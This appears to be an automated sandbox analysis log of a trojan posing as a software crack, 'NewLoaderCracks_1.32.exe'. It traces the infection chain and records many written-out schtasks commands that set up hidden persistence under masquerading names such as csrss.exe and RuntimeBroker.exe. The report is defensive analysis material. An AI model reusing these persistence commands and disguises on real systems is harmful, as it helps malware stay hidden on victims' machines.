Source: SurrogateRef.exe, 00000005.00000002.2465802434.0000000002E53000.00000004.00000800.00020000.00000000.sdmp, SurrogateRef.exe, 00000005.00000002.2465802434.0000000002DC5000.00000004.00000800.00020000.00000000.sdmp, SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp, SurrogateRef.exe, 00000005.00000002.2465802434.0000000002600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: SurrogateRef.exe, 00000005.00000002.2465802434.0000000002DC5000.00000004.00000800.00020000.00000000.sdmp, SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0054718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_0054718C

Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Windows\CbsTemp\RuntimeBroker.exe			Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	File created: C:\Windows\CbsTemp\9e8d7a4ca61bd9			Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054857B	0_2_0054857B
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054407E	0_2_0054407E
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0056D00E	0_2_0056D00E
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_005570BF	0_2_005570BF
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00571194	0_2_00571194
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_005602F6	0_2_005602F6
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00543281	0_2_00543281
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054E2A0	0_2_0054E2A0
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00556646	0_2_00556646
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0056070E	0_2_0056070E
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0056473A	0_2_0056473A
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_005537C1	0_2_005537C1
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_005427E8	0_2_005427E8
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054E8A0	0_2_0054E8A0
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054F968	0_2_0054F968
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00564969	0_2_00564969
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00556A7B	0_2_00556A7B
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00553A3C	0_2_00553A3C
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00560B43	0_2_00560B43
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0056CB60	0_2_0056CB60
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00555C77	0_2_00555C77
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00553D6D	0_2_00553D6D
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054ED14	0_2_0054ED14
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055FDFA	0_2_0055FDFA
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054DE6C	0_2_0054DE6C
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054BE13	0_2_0054BE13
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00560F78	0_2_00560F78
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_00545F3C	0_2_00545F3C
Source: C:\comcontainer\SurrogateRef.exe	Code function: 5_2_00007FFD346634E5	5_2_00007FFD346634E5
Source: C:\comcontainer\SurrogateRef.exe	Code function: 5_2_00007FFD34663565	5_2_00007FFD34663565
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Code function: 14_2_00007FFD346534E5	14_2_00007FFD346534E5
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Code function: 14_2_00007FFD34653565	14_2_00007FFD34653565
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Code function: 17_2_00007FFD346734E5	17_2_00007FFD346734E5
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Code function: 17_2_00007FFD34673565	17_2_00007FFD34673565

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: String function: 0055E28C appears 35 times
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: String function: 0055ED00 appears 31 times
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: String function: 0055E360 appears 52 times

Source: SurrogateRef.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: csrss.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: NewLoaderCracks_1.32.exe, 00000000.00000003.2149562920.0000000005338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs NewLoaderCracks_1.32.exe
Source: NewLoaderCracks_1.32.exe, 00000000.00000003.2150032734.00000000052B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs NewLoaderCracks_1.32.exe
Source: NewLoaderCracks_1.32.exe	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs NewLoaderCracks_1.32.exe

Source: NewLoaderCracks_1.32.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SurrogateRef.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, zPI4UC7j83EwXD93Buo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, zPI4UC7j83EwXD93Buo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, hDc22q36rjYl7cot4V2.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, hDc22q36rjYl7cot4V2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, zPI4UC7j83EwXD93Buo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, zPI4UC7j83EwXD93Buo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, hDc22q36rjYl7cot4V2.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, hDc22q36rjYl7cot4V2.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, FcG67VRPX0ukIu8AsNZ.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.NewLoaderCracks_1.32.exe.699af90.0.raw.unpack, FcG67VRPX0ukIu8AsNZ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, FcG67VRPX0ukIu8AsNZ.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.NewLoaderCracks_1.32.exe.533cf90.1.raw.unpack, FcG67VRPX0ukIu8AsNZ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@31/38@1/1

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_00546EC9 GetLastError,FormatMessageW,

0_2_00546EC9

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_00559E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00559E1C

Source: C:\comcontainer\SurrogateRef.exe

File created: C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe

Jump to behavior

Source: C:\comcontainer\SurrogateRef.exe

File created: C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe

Jump to behavior

Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6036:120:WilError_03
Source: C:\comcontainer\SurrogateRef.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\fbe2aa62d1fcbb1d2019c06a99ddb3c6bcd8fcaa

Source: C:\comcontainer\SurrogateRef.exe

File created: C:\Users\user\AppData\Local\Temp\tmp9385A.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comcontainer\xNFGfK2ypxJsgsGsm5kX9.bat" "

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Command line argument: sfxname	0_2_0055D5D4
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Command line argument: sfxstime	0_2_0055D5D4
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Command line argument: STARTDLG	0_2_0055D5D4
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Command line argument: xjY	0_2_0055D5D4

Source: NewLoaderCracks_1.32.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: NewLoaderCracks_1.32.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NewLoaderCracks_1.32.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

File read: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe "C:\Users\user\Desktop\NewLoaderCracks_1.32.exe"
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comcontainer\xNFGfK2ypxJsgsGsm5kX9.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\comcontainer\SurrogateRef.exe "C:\comcontainer\SurrogateRef.exe"
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\csrss.exe'" /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\csrss.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe "C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe"
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Recovery\csrss.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe "C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe"
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Recovery\WmiPrvSE.exe'" /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SurrogateRefS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\windows mail\SurrogateRef.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\comcontainer\SurrogateRef.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe'" /f
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comcontainer\xNFGfK2ypxJsgsGsm5kX9.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\comcontainer\SurrogateRef.exe "C:\comcontainer\SurrogateRef.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Section loaded: policymanager.dll	Jump to behavior
